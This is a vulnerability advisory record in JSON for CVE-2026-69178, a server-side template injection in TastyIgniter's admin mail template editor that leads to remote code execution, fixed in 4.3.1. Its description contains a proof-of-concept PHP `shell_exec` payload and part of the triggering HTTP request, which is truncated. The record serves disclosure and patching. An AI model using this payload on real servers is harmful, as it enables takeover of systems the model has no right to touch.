{"id":"CVE-2026-69178","aliases":["GHSA-743w-g9pf-8p94"],"title":"TastyIgniter mail template editor allows remote code execution via server-side template injection","originalDescription":"### Summary **Where:** `POST /admin/mail_templates/edit/{id}` → body field **Who can trigger:** Any admin user with `Admin.MailTemplates` permission **Impact:** Arbitrary PHP execution on the server — full RCE ### Details The Mail templates is vulnerable to SSTI and did not perform an validation and sanitization. ### PoC - login as admin - create new mail template with following command ``` @php echo shell_exec('echo \"RCE Executed\";id'); @endphp ``` - save the request - execute the request using `X-IGNITER-REQUEST-HANDLER: onTestTemplate` Request ```http POST /admin/mail_templates/edit/20 HTTP/1.1 Host: localhost:8888 Content-Length: 47 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 sec-ch-ua-platform: \"Linux\" X-CSRF-TOKEN: L22Pxu6L5hHmHgoC4RB1Zz5Py16muXvsRIOBtxuY Accept-Language: en-US,en;q=0.9 sec-ch-ua: \"Not-A.Brand\";v=\"24\", \"Chromium\";v=\"146\" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest X-IGNITER-REQUEST-PARTIALS: Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-IGNITER-REQUEST-HANDLER: onTestTemplate Origin: http://localhost:8888 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: c","severity":{"cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","label":"critical"},"exploitation":{"kev":null,"epss":null,"exploitDb":null},"affected":[{"ecosystem":"Packagist","name":"tastyigniter/tastyigniter","range":"< 4.3.1","fixed":"4.3.1"},{"ecosystem":"Packagist","name":"tastyigniter/tastyigniter","range":">=0, <4.3.1","fixed":"4.3.1"}],"references":[{"url":"https://github.com/tastyigniter/TastyIgniter/security/advisories/GHSA-743w-g9pf-8p94","type":"other"},{"url":"https://github.com/tastyigniter/core/commit/785aa660f77fee9a221857b8b1f11b68a35fd257","type":"other"},{"url":"https://github.com/tastyigniter/core/releases/tag/v4.3.1","type":"other"},{"url":"https://github.com/advisories/GHSA-743w-g9pf-8p94","type":"other"},{"url":"https://github.com/tastyigniter/TastyIgniter","type":"package"}],"sources":[{"name":"osv","at":"2026-11-27T01:03:24.755Z","url":"https://osv.dev/vulnerability/GHSA-743w-g9pf-8p94","license":"CC-BY 4.0","firstSeenAt":"2026-11-27T01:03:24.755Z"},{"name":"ghsa","at":"2026-11-28T22:09:32.010Z","url":"https://github.com/advisories/GHSA-743w-g9pf-8p94","license":"CC-BY 4.0","firstSeenAt":"2026-11-25T22:38:39.362Z"}],"firstSeenAt":"2026-11-25T22:38:39.362Z","publishedAt":"2026-11-25T22:24:13.000Z","modifiedAt":"2026-11-27T00:45:08.026Z"}